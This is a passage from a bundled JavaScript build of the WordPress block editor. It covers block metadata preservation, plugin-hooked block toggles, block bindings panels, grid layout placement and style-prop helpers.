46132
46133;// ./node_modules/@wordpress/block-editor/build-module/hooks/metadata.js
46134
46135
46136const META_ATTRIBUTE_NAME = "metadata";
46137function addMetaAttribute(blockTypeSettings) {
46138 if (blockTypeSettings?.attributes?.[META_ATTRIBUTE_NAME]?.type) {
46139 return blockTypeSettings;
46140 }
46141 blockTypeSettings.attributes = {
46142 ...blockTypeSettings.attributes,
46143 [META_ATTRIBUTE_NAME]: {
46144 type: "object"
46145 }
46146 };
46147 return blockTypeSettings;
46148}
46149function metadata_addTransforms(result, source, index, results) {
46150 if (results.length === 1 && result.innerBlocks.length === source.length) {
46151 return result;
46152 }
46153 if (results.length === 1 && source.length > 1 || results.length > 1 && source.length === 1) {
46154 return result;
46155 }
46156 if (results.length > 1 && source.length > 1 && results.length !== source.length) {
46157 return result;
46158 }
46159 const sourceMetadata = source[index]?.attributes?.metadata;
46160 if (!sourceMetadata) {
46161 return result;
46162 }
46163 const preservedMetadata = {};
46164 if (sourceMetadata.noteId && !result.attributes?.metadata?.noteId) {
46165 preservedMetadata.noteId = sourceMetadata.noteId;
46166 }
46167 if (sourceMetadata.name && !result.attributes?.metadata?.name && (0,external_wp_blocks_namespaceObject.hasBlockSupport)(result.name, "renaming", true)) {
46168 preservedMetadata.name = sourceMetadata.name;
46169 }
46170 if (sourceMetadata.blockVisibility !== void 0 && !result.attributes?.metadata?.blockVisibility && (0,external_wp_blocks_namespaceObject.hasBlockSupport)(result.name, "visibility", true)) {
46171 preservedMetadata.blockVisibility = sourceMetadata.blockVisibility;
46172 }
46173 if (Object.keys(preservedMetadata).length > 0) {
46174 return {
46175 ...result,
46176 attributes: {
46177 ...result.attributes,
46178 metadata: {
46179 ...result.attributes.metadata,
46180 ...preservedMetadata
46181 }
46182 }
46183 };
46184 }
46185 return result;
46186}
46187(0,external_wp_hooks_namespaceObject.addFilter)(
46188 "blocks.registerBlockType",
46189 "core/metadata/addMetaAttribute",
46190 addMetaAttribute
46191);
46192(0,external_wp_hooks_namespaceObject.addFilter)(
46193 "blocks.switchToBlockType.transformedBlock",
46194 "core/metadata/addTransforms",
46195 metadata_addTransforms
46196);
46197
46198
46199;// ./node_modules/@wordpress/block-editor/build-module/hooks/block-hooks.js
46200
46201
46202
46203
46204
46205
46206
46207
46208const block_hooks_EMPTY_OBJECT = {};
46209function BlockHooksControlPure({
46210 name,
46211 clientId,
46212 metadata: { ignoredHookedBlocks = [] } = {}
46213}) {
46214 const blockTypes = (0,external_wp_data_namespaceObject.useSelect)(
46215 (select) => select(external_wp_blocks_namespaceObject.store).getBlockTypes(),
46216 []
46217 );
46218 const hookedBlocksForCurrentBlock = (0,external_wp_element_namespaceObject.useMemo)(
46219 () => blockTypes?.filter(
46220 ({ name: blockName, blockHooks }) => blockHooks && name in blockHooks || ignoredHookedBlocks.includes(blockName)
46221 ),
46222 [blockTypes, name, ignoredHookedBlocks]
46223 );
46224 const hookedBlockClientIds = (0,external_wp_data_namespaceObject.useSelect)(
46225 (select) => {
46226 const { getBlocks, getBlockRootClientId: getBlockRootClientId2, getGlobalBlockCount } = select(store);
46227 const rootClientId = getBlockRootClientId2(clientId);
46228 const _hookedBlockClientIds = hookedBlocksForCurrentBlock.reduce(
46229 (clientIds, block) => {
46230 if (getGlobalBlockCount(block.name) === 0) {
46231 return clientIds;
46232 }
46233 const relativePosition = block?.blockHooks?.[name];
46234 let candidates;
46235 switch (relativePosition) {
46236 case "before":
46237 case "after":
46238 candidates = getBlocks(rootClientId);
46239 break;
46240 case "first_child":
46241 case "last_child":
46242 candidates = getBlocks(clientId);
46243 break;
46244 case void 0:
46245 candidates = [
46246 ...getBlocks(rootClientId),
46247 ...getBlocks(clientId)
46248 ];
46249 break;
46250 }
46251 const hookedBlock = candidates?.find(
46252 (candidate) => candidate.name === block.name
46253 );
46254 if (hookedBlock) {
46255 return {
46256 ...clientIds,
46257 [block.name]: hookedBlock.clientId
46258 };
46259 }
46260 return clientIds;
46261 },
46262 {}
46263 );
46264 if (Object.values(_hookedBlockClientIds).length > 0) {
46265 return _hookedBlockClientIds;
46266 }
46267 return block_hooks_EMPTY_OBJECT;
46268 },
46269 [hookedBlocksForCurrentBlock, name, clientId]
46270 );
46271 const { getBlockIndex, getBlockCount, getBlockRootClientId } = (0,external_wp_data_namespaceObject.useSelect)(store);
46272 const { insertBlock, removeBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
46273 if (!hookedBlocksForCurrentBlock.length) {
46274 return null;
46275 }
46276 const groupedHookedBlocks = hookedBlocksForCurrentBlock.reduce(
46277 (groups, block) => {
46278 const [namespace] = block.name.split("/");
46279 if (!groups[namespace]) {
46280 groups[namespace] = [];
46281 }
46282 groups[namespace].push(block);
46283 return groups;
46284 },
46285 {}
46286 );
46287 const insertBlockIntoDesignatedLocation = (block, relativePosition) => {
46288 const blockIndex = getBlockIndex(clientId);
46289 const innerBlocksLength = getBlockCount(clientId);
46290 const rootClientId = getBlockRootClientId(clientId);
46291 switch (relativePosition) {
46292 case "before":
46293 case "after":
46294 insertBlock(
46295 block,
46296 relativePosition === "after" ? blockIndex + 1 : blockIndex,
46297 rootClientId,
46298 // Insert as a child of the current block's parent
46299 false
46300 );
46301 break;
46302 case "first_child":
46303 case "last_child":
46304 insertBlock(
46305 block,
46306 // TODO: It'd be great if insertBlock() would accept negative indices for insertion.
46307 relativePosition === "first_child" ? 0 : innerBlocksLength,
46308 clientId,
46309 // Insert as a child of the current block.
46310 false
46311 );
46312 break;
46313 case void 0:
46314 insertBlock(
46315 block,
46316 blockIndex + 1,
46317 rootClientId,
46318 // Insert as a child of the current block's parent
46319 false
46320 );
46321 break;
46322 }
46323 };
46324 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
46325 external_wp_components_namespaceObject.PanelBody,
46326 {
46327 className: "block-editor-hooks__block-hooks",
46328 title: (0,external_wp_i18n_namespaceObject.__)("Plugins"),
46329 initialOpen: true,
46330 children: [
46331 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-editor-hooks__block-hooks-helptext", children: (0,external_wp_i18n_namespaceObject.__)(
46332 "Manage the inclusion of blocks added automatically by plugins."
46333 ) }),
46334 Object.keys(groupedHookedBlocks).map((vendor) => {
46335 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_element_namespaceObject.Fragment, { children: [
46336 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { children: vendor }),
46337 groupedHookedBlocks[vendor].map((block) => {
46338 const checked = block.name in hookedBlockClientIds;
46339 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46340 external_wp_components_namespaceObject.ToggleControl,
46341 {
46342 __nextHasNoMarginBottom: true,
46343 checked,
46344 label: block.title,
46345 onChange: () => {
46346 if (!checked) {
46347 const relativePosition = block.blockHooks[name];
46348 insertBlockIntoDesignatedLocation(
46349 (0,external_wp_blocks_namespaceObject.createBlock)(block.name),
46350 relativePosition
46351 );
46352 return;
46353 }
46354 removeBlock(
46355 hookedBlockClientIds[block.name],
46356 false
46357 );
46358 }
46359 },
46360 block.title
46361 );
46362 })
46363 ] }, vendor);
46364 })
46365 ]
46366 }
46367 ) });
46368}
46369var block_hooks_default = {
46370 edit: BlockHooksControlPure,
46371 attributeKeys: ["metadata"],
46372 hasSupport() {
46373 return true;
46374 }
46375};
46376
46377
46378;// ./node_modules/@wordpress/block-editor/build-module/hooks/block-bindings.js
46379
46380
46381
46382
46383
46384
46385
46386
46387
46388
46389
46390
46391
46392
46393const { Menu } = unlock(external_wp_components_namespaceObject.privateApis);
46394const block_bindings_EMPTY_OBJECT = {};
46395const getAttributeType = (blockName, attribute) => {
46396 const _attributeType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockName).attributes?.[attribute]?.type;
46397 return _attributeType === "rich-text" ? "string" : _attributeType;
46398};
46399const block_bindings_useToolsPanelDropdownMenuProps = () => {
46400 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
46401 return !isMobile ? {
46402 popoverProps: {
46403 placement: "left-start",
46404 // For non-mobile, inner sidebar width (248px) - button width (24px) - border (1px) + padding (16px) + spacing (20px)
46405 offset: 259
46406 }
46407 } : {};
46408};
46409function BlockBindingsPanelMenuContent({ attribute, binding, sources }) {
46410 const { clientId } = useBlockEditContext();
46411 const { updateBlockBindings } = useBlockBindingsUtils();
46412 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
46413 const blockContext = (0,external_wp_element_namespaceObject.useContext)(block_context_default);
46414 const { attributeType, select } = (0,external_wp_data_namespaceObject.useSelect)(
46415 (_select) => {
46416 const { name: blockName } = _select(store).getBlock(clientId);
46417 return {
46418 attributeType: getAttributeType(blockName, attribute),
46419 select: _select
46420 };
46421 },
46422 [clientId, attribute]
46423 );
46424 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu, { placement: isMobile ? "bottom-start" : "left-start", children: Object.entries(sources).map(([sourceKey, source]) => {
46425 const sourceDataItems = source.data?.filter(
46426 (item) => item?.type === attributeType
46427 );
46428 const noItemsAvailable = !sourceDataItems || sourceDataItems.length === 0;
46429 if (noItemsAvailable) {
46430 return null;
46431 }
46432 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
46433 Menu,
46434 {
46435 placement: isMobile ? "bottom-start" : "left-start",
46436 children: [
46437 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.SubmenuTriggerItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemLabel, { children: source.label }) }),
46438 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Popover, { gutter: 8, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Group, { children: sourceDataItems.map((item) => {
46439 const itemBindings = {
46440 source: sourceKey,
46441 args: item?.args || {
46442 key: item.key
46443 }
46444 };
46445 let values = {};
46446 try {
46447 values = source.getValues({
46448 select,
46449 context: blockContext,
46450 bindings: {
46451 [attribute]: itemBindings
46452 }
46453 });
46454 } catch (e) {
46455 }
46456 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
46457 Menu.CheckboxItem,
46458 {
46459 onChange: () => {
46460 const isCurrentlySelected = es6_default()(
46461 binding?.args,
46462 item.args
46463 ) ?? // Deprecate key dependency in 7.0.
46464 item.key === binding?.args?.key;
46465 if (isCurrentlySelected) {
46466 updateBlockBindings({
46467 [attribute]: void 0
46468 });
46469 } else {
46470 updateBlockBindings({
46471 [attribute]: itemBindings
46472 });
46473 }
46474 },
46475 name: attribute + "-binding",
46476 value: values[attribute],
46477 checked: es6_default()(
46478 binding?.args,
46479 item.args
46480 ) ?? // Deprecate key dependency in 7.0.
46481 item.key === binding?.args?.key,
46482 children: [
46483 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemLabel, { children: item?.label }),
46484 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemHelpText, { children: values[attribute] })
46485 ]
46486 },
46487 sourceKey + JSON.stringify(
46488 item.args
46489 ) || item.key
46490 );
46491 }) }) })
46492 ]
46493 },
46494 sourceKey
46495 );
46496 }) });
46497}
46498function BlockBindingsAttribute({ attribute, binding, sources, blockName }) {
46499 const { source: sourceName, args } = binding || {};
46500 const source = sources?.[sourceName];
46501 let displayText;
46502 let isValid = true;
46503 const isNotBound = binding === void 0;
46504 if (isNotBound) {
46505 const attributeType = getAttributeType(blockName, attribute);
46506 const hasCompatibleSources = Object.values(sources).some(
46507 (src) => src.data?.some((item) => item?.type === attributeType)
46508 );
46509 if (!hasCompatibleSources) {
46510 displayText = (0,external_wp_i18n_namespaceObject.__)("No sources available");
46511 } else {
46512 displayText = (0,external_wp_i18n_namespaceObject.__)("Not connected");
46513 }
46514 isValid = true;
46515 } else if (!source) {
46516 isValid = false;
46517 displayText = (0,external_wp_i18n_namespaceObject.__)("Source not registered");
46518 if (Object.keys(sources).length === 0) {
46519 displayText = (0,external_wp_i18n_namespaceObject.__)("No sources available");
46520 }
46521 } else {
46522 displayText = source.data?.find((item) => es6_default()(item.args, args))?.label || source.label || sourceName;
46523 }
46524 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { className: "block-editor-bindings__item", spacing: 0, children: [
46525 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { truncate: true, children: attribute }),
46526 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46527 external_wp_components_namespaceObject.__experimentalText,
46528 {
46529 truncate: true,
46530 variant: isValid ? "muted" : void 0,
46531 isDestructive: !isValid,
46532 children: displayText
46533 }
46534 )
46535 ] });
46536}
46537function ReadOnlyBlockBindingsPanelItem({
46538 attribute,
46539 binding,
46540 sources,
46541 blockName
46542}) {
46543 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
46544 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToolsPanelItem, { hasValue: () => !!binding, label: attribute, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu, { placement: isMobile ? "bottom-start" : "left-start", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.TriggerButton, { render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, {}), disabled: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46545 BlockBindingsAttribute,
46546 {
46547 attribute,
46548 binding,
46549 sources,
46550 blockName
46551 }
46552 ) }) }) });
46553}
46554function EditableBlockBindingsPanelItem({
46555 attribute,
46556 binding,
46557 sources,
46558 blockName
46559}) {
46560 const { updateBlockBindings } = useBlockBindingsUtils();
46561 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
46562 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46563 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46564 {
46565 hasValue: () => !!binding,
46566 label: attribute,
46567 onDeselect: () => {
46568 updateBlockBindings({
46569 [attribute]: void 0
46570 });
46571 },
46572 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Menu, { placement: isMobile ? "bottom-start" : "left-start", children: [
46573 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.TriggerButton, { render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, {}), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46574 BlockBindingsAttribute,
46575 {
46576 attribute,
46577 binding,
46578 sources,
46579 blockName
46580 }
46581 ) }),
46582 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Popover, { gutter: isMobile ? 8 : 36, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46583 BlockBindingsPanelMenuContent,
46584 {
46585 attribute,
46586 binding,
46587 sources
46588 }
46589 ) })
46590 ] })
46591 }
46592 );
46593}
46594const BlockBindingsPanel = ({ name: blockName, metadata }) => {
46595 const blockContext = (0,external_wp_element_namespaceObject.useContext)(block_context_default);
46596 const { removeAllBlockBindings } = useBlockBindingsUtils();
46597 const dropdownMenuProps = block_bindings_useToolsPanelDropdownMenuProps();
46598 const _sources = {};
46599 const { sources, canUpdateBlockBindings, bindableAttributes } = (0,external_wp_data_namespaceObject.useSelect)(
46600 (select) => {
46601 const { __experimentalBlockBindingsSupportedAttributes } = select(store).getSettings();
46602 const _bindableAttributes = __experimentalBlockBindingsSupportedAttributes?.[blockName];
46603 if (!_bindableAttributes || _bindableAttributes.length === 0) {
46604 return block_bindings_EMPTY_OBJECT;
46605 }
46606 const registeredSources = (0,external_wp_blocks_namespaceObject.getBlockBindingsSources)();
46607 Object.entries(registeredSources).forEach(
46608 ([
46609 sourceName,
46610 { getFieldsList, usesContext, label, getValues }
46611 ]) => {
46612 const context = {};
46613 if (usesContext?.length) {
46614 for (const key of usesContext) {
46615 context[key] = blockContext[key];
46616 }
46617 }
46618 if (getFieldsList) {
46619 const fieldsListResult = getFieldsList({
46620 select,
46621 context
46622 });
46623 _sources[sourceName] = {
46624 data: fieldsListResult || [],
46625 label,
46626 getValues
46627 };
46628 } else {
46629 _sources[sourceName] = {
46630 data: [],
46631 label,
46632 getValues
46633 };
46634 }
46635 }
46636 );
46637 return {
46638 sources: Object.values(_sources).length > 0 ? _sources : block_bindings_EMPTY_OBJECT,
46639 canUpdateBlockBindings: select(store).getSettings().canUpdateBlockBindings,
46640 bindableAttributes: _bindableAttributes
46641 };
46642 },
46643 [blockContext, blockName]
46644 );
46645 if (!bindableAttributes || bindableAttributes.length === 0) {
46646 return null;
46647 }
46648 const { bindings } = metadata || {};
46649 const hasCompatibleData = Object.values(sources).some(
46650 (source) => source.data && source.data.length > 0
46651 );
46652 const readOnly = !canUpdateBlockBindings || !hasCompatibleData;
46653 if (bindings === void 0 && !hasCompatibleData) {
46654 return null;
46655 }
46656 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default, { group: "bindings", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
46657 external_wp_components_namespaceObject.__experimentalToolsPanel,
46658 {
46659 label: (0,external_wp_i18n_namespaceObject.__)("Attributes"),
46660 resetAll: () => {
46661 removeAllBlockBindings();
46662 },
46663 dropdownMenuProps,
46664 className: "block-editor-bindings__panel",
46665 children: [
46666 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { isBordered: true, isSeparated: true, children: bindableAttributes.map((attribute) => {
46667 const binding = bindings?.[attribute];
46668 const attributeType = getAttributeType(
46669 blockName,
46670 attribute
46671 );
46672 const hasCompatibleDataForAttribute = Object.values(
46673 sources
46674 ).some(
46675 (source) => source.data?.some(
46676 (item) => item?.type === attributeType
46677 )
46678 );
46679 const isAttributeReadOnly = readOnly || !hasCompatibleDataForAttribute;
46680 return isAttributeReadOnly ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46681 ReadOnlyBlockBindingsPanelItem,
46682 {
46683 attribute,
46684 binding,
46685 sources,
46686 blockName
46687 },
46688 attribute
46689 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46690 EditableBlockBindingsPanelItem,
46691 {
46692 attribute,
46693 binding,
46694 sources,
46695 blockName
46696 },
46697 attribute
46698 );
46699 }) }),
46700 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { as: "div", variant: "muted", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
46701 "Attributes connected to custom fields or other dynamic data."
46702 ) }) })
46703 ]
46704 }
46705 ) });
46706};
46707var block_bindings_default = {
46708 edit: BlockBindingsPanel,
46709 attributeKeys: ["metadata"],
46710 hasSupport(name) {
46711 return ![
46712 "core/post-date",
46713 "core/navigation-link",
46714 "core/navigation-submenu"
46715 ].includes(name);
46716 }
46717};
46718
46719
46720;// ./node_modules/@wordpress/block-editor/build-module/hooks/block-renaming.js
46721
46722
46723function addLabelCallback(settings) {
46724 if (settings.__experimentalLabel) {
46725 return settings;
46726 }
46727 const supportsBlockNaming = (0,external_wp_blocks_namespaceObject.hasBlockSupport)(
46728 settings,
46729 "renaming",
46730 true
46731 // default value
46732 );
46733 if (supportsBlockNaming) {
46734 settings.__experimentalLabel = (attributes, { context }) => {
46735 const { metadata } = attributes;
46736 if (context === "list-view" && metadata?.name) {
46737 return metadata.name;
46738 }
46739 };
46740 }
46741 return settings;
46742}
46743(0,external_wp_hooks_namespaceObject.addFilter)(
46744 "blocks.registerBlockType",
46745 "core/metadata/addLabelCallback",
46746 addLabelCallback
46747);
46748
46749
46750;// ./node_modules/@wordpress/block-editor/build-module/components/grid/use-grid-layout-sync.js
46751
46752
46753
46754
46755
46756
46757function useGridLayoutSync({ clientId: gridClientId }) {
46758 const { gridLayout, blockOrder, selectedBlockLayout } = (0,external_wp_data_namespaceObject.useSelect)(
46759 (select) => {
46760 const { getBlockAttributes: getBlockAttributes2, getBlockOrder } = select(store);
46761 const selectedBlock = select(store).getSelectedBlock();
46762 return {
46763 gridLayout: getBlockAttributes2(gridClientId).layout ?? {},
46764 blockOrder: getBlockOrder(gridClientId),
46765 selectedBlockLayout: selectedBlock?.attributes.style?.layout
46766 };
46767 },
46768 [gridClientId]
46769 );
46770 const { getBlockAttributes, getBlockRootClientId } = (0,external_wp_data_namespaceObject.useSelect)(store);
46771 const { updateBlockAttributes, __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(store);
46772 const selectedBlockRect = (0,external_wp_element_namespaceObject.useMemo)(
46773 () => selectedBlockLayout ? new GridRect(selectedBlockLayout) : null,
46774 [selectedBlockLayout]
46775 );
46776 const previouslySelectedBlockRect = (0,external_wp_compose_namespaceObject.usePrevious)(selectedBlockRect);
46777 const previousIsManualPlacement = (0,external_wp_compose_namespaceObject.usePrevious)(
46778 gridLayout.isManualPlacement
46779 );
46780 const previousBlockOrder = (0,external_wp_compose_namespaceObject.usePrevious)(blockOrder);
46781 (0,external_wp_element_namespaceObject.useEffect)(() => {
46782 const updates = {};
46783 if (gridLayout.isManualPlacement) {
46784 const occupiedRects = [];
46785 for (const clientId of blockOrder) {
46786 const {
46787 columnStart,
46788 rowStart,
46789 columnSpan = 1,
46790 rowSpan = 1
46791 } = getBlockAttributes(clientId).style?.layout ?? {};
46792 if (!columnStart || !rowStart) {
46793 continue;
46794 }
46795 occupiedRects.push(
46796 new GridRect({
46797 columnStart,
46798 rowStart,
46799 columnSpan,
46800 rowSpan
46801 })
46802 );
46803 }
46804 for (const clientId of blockOrder) {
46805 const attributes = getBlockAttributes(clientId);
46806 const {
46807 columnStart,
46808 rowStart,
46809 columnSpan = 1,
46810 rowSpan = 1
46811 } = attributes.style?.layout ?? {};
46812 if (columnStart && rowStart) {
46813 continue;
46814 }
46815 const [newColumnStart, newRowStart] = placeBlock(
46816 occupiedRects,
46817 gridLayout.columnCount,
46818 columnSpan,
46819 rowSpan,
46820 previouslySelectedBlockRect?.columnEnd,
46821 previouslySelectedBlockRect?.rowEnd
46822 );
46823 occupiedRects.push(
46824 new GridRect({
46825 columnStart: newColumnStart,
46826 rowStart: newRowStart,
46827 columnSpan,
46828 rowSpan
46829 })
46830 );
46831 updates[clientId] = {
46832 style: {
46833 ...attributes.style,
46834 layout: {
46835 ...attributes.style?.layout,
46836 columnStart: newColumnStart,
46837 rowStart: newRowStart
46838 }
46839 }
46840 };
46841 }
46842 const bottomMostRow = Math.max(
46843 ...occupiedRects.map((r) => r.rowEnd)
46844 );
46845 if (!gridLayout.rowCount || gridLayout.rowCount < bottomMostRow) {
46846 updates[gridClientId] = {
46847 layout: {
46848 ...gridLayout,
46849 rowCount: bottomMostRow
46850 }
46851 };
46852 }
46853 for (const clientId of previousBlockOrder ?? []) {
46854 if (!blockOrder.includes(clientId)) {
46855 const rootClientId = getBlockRootClientId(clientId);
46856 if (rootClientId === null) {
46857 continue;
46858 }
46859 const rootAttributes = getBlockAttributes(rootClientId);
46860 if (rootAttributes?.layout?.type === "grid") {
46861 continue;
46862 }
46863 const attributes = getBlockAttributes(clientId);
46864 const {
46865 columnStart,
46866 rowStart,
46867 columnSpan,
46868 rowSpan,
46869 ...layout
46870 } = attributes.style?.layout ?? {};
46871 if (columnStart || rowStart || columnSpan || rowSpan) {
46872 const hasEmptyLayoutAttribute = Object.keys(layout).length === 0;
46873 updates[clientId] = setImmutably(
46874 attributes,
46875 ["style", "layout"],
46876 hasEmptyLayoutAttribute ? void 0 : layout
46877 );
46878 }
46879 }
46880 }
46881 } else {
46882 if (previousIsManualPlacement === true) {
46883 for (const clientId of blockOrder) {
46884 const attributes = getBlockAttributes(clientId);
46885 const { columnStart, rowStart, ...layout } = attributes.style?.layout ?? {};
46886 if (columnStart || rowStart) {
46887 const hasEmptyLayoutAttribute = Object.keys(layout).length === 0;
46888 updates[clientId] = setImmutably(
46889 attributes,
46890 ["style", "layout"],
46891 hasEmptyLayoutAttribute ? void 0 : layout
46892 );
46893 }
46894 }
46895 }
46896 if (gridLayout.rowCount) {
46897 updates[gridClientId] = {
46898 layout: {
46899 ...gridLayout,
46900 rowCount: void 0
46901 }
46902 };
46903 }
46904 }
46905 if (Object.keys(updates).length) {
46906 __unstableMarkNextChangeAsNotPersistent();
46907 updateBlockAttributes(
46908 Object.keys(updates),
46909 updates,
46910 /* uniqueByBlock: */
46911 true
46912 );
46913 }
46914 }, [
46915 // Actual deps to sync:
46916 gridClientId,
46917 gridLayout,
46918 previousBlockOrder,
46919 blockOrder,
46920 previouslySelectedBlockRect,
46921 previousIsManualPlacement,
46922 // These won't change, but the linter thinks they might:
46923 __unstableMarkNextChangeAsNotPersistent,
46924 getBlockAttributes,
46925 getBlockRootClientId,
46926 updateBlockAttributes
46927 ]);
46928}
46929function placeBlock(occupiedRects, gridColumnCount, blockColumnSpan, blockRowSpan, startColumn = 1, startRow = 1) {
46930 for (let row = startRow; ; row++) {
46931 for (let column = row === startRow ? startColumn : 1; column <= gridColumnCount; column++) {
46932 const candidateRect = new GridRect({
46933 columnStart: column,
46934 rowStart: row,
46935 columnSpan: blockColumnSpan,
46936 rowSpan: blockRowSpan
46937 });
46938 if (!occupiedRects.some(
46939 (r) => r.intersectsRect(candidateRect)
46940 )) {
46941 return [column, row];
46942 }
46943 }
46944 }
46945}
46946
46947
46948;// ./node_modules/@wordpress/block-editor/build-module/hooks/grid-visualizer.js
46949
46950
46951
46952
46953
46954
46955function GridLayoutSync(props) {
46956 useGridLayoutSync(props);
46957}
46958function grid_visualizer_GridTools({ clientId, layout }) {
46959 const isVisible = (0,external_wp_data_namespaceObject.useSelect)(
46960 (select) => {
46961 const {
46962 isBlockSelected,
46963 isDraggingBlocks,
46964 getTemplateLock,
46965 getBlockEditingMode
46966 } = select(store);
46967 if (!isDraggingBlocks() && !isBlockSelected(clientId) || getTemplateLock(clientId) || getBlockEditingMode(clientId) !== "default") {
46968 return false;
46969 }
46970 return true;
46971 },
46972 [clientId]
46973 );
46974 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
46975 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GridLayoutSync, { clientId }),
46976 isVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GridVisualizer, { clientId, parentLayout: layout })
46977 ] });
46978}
46979const addGridVisualizerToBlockEdit = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
46980 (BlockEdit) => (props) => {
46981 if (props.attributes.layout?.type !== "grid") {
46982 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, { ...props }, "edit");
46983 }
46984 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
46985 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46986 grid_visualizer_GridTools,
46987 {
46988 clientId: props.clientId,
46989 layout: props.attributes.layout
46990 }
46991 ),
46992 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, { ...props }, "edit")
46993 ] });
46994 },
46995 "addGridVisualizerToBlockEdit"
46996);
46997(0,external_wp_hooks_namespaceObject.addFilter)(
46998 "editor.BlockEdit",
46999 "core/editor/grid-visualizer",
47000 addGridVisualizerToBlockEdit
47001);
47002
47003;// ./node_modules/@wordpress/block-editor/build-module/hooks/use-border-props.js
47004
47005
47006
47007function getBorderClassesAndStyles(attributes) {
47008 const border = attributes.style?.border || {};
47009 const className = getBorderClasses(attributes);
47010 return {
47011 className: className || void 0,
47012 style: getInlineStyles({ border })
47013 };
47014}
47015function useBorderProps(attributes) {
47016 const { colors } = useMultipleOriginColorsAndGradients();
47017 const borderProps = getBorderClassesAndStyles(attributes);
47018 const { borderColor } = attributes;
47019 if (borderColor) {
47020 const borderColorObject = getMultiOriginColor({
47021 colors,
47022 namedColor: borderColor
47023 });
47024 borderProps.style.borderColor = borderColorObject.color;
47025 }
47026 return borderProps;
47027}
47028
47029
47030;// ./node_modules/@wordpress/block-editor/build-module/hooks/use-shadow-props.js
47031
47032function getShadowClassesAndStyles(attributes) {
47033 const shadow = attributes.style?.shadow || "";
47034 return {
47035 style: getInlineStyles({ shadow })
47036 };
47037}
47038
47039
47040;// ./node_modules/@wordpress/block-editor/build-module/hooks/use-color-props.js
47041
47042
47043
47044
47045
47046
47047function getColorClassesAndStyles(attributes) {
47048 const { backgroundColor, textColor, gradient, style } = attributes;
47049 const backgroundClass = getColorClassName(
47050 "background-color",
47051 backgroundColor
47052 );
47053 const textClass = getColorClassName("color", textColor);
47054 const gradientClass = __experimentalGetGradientClass(gradient);
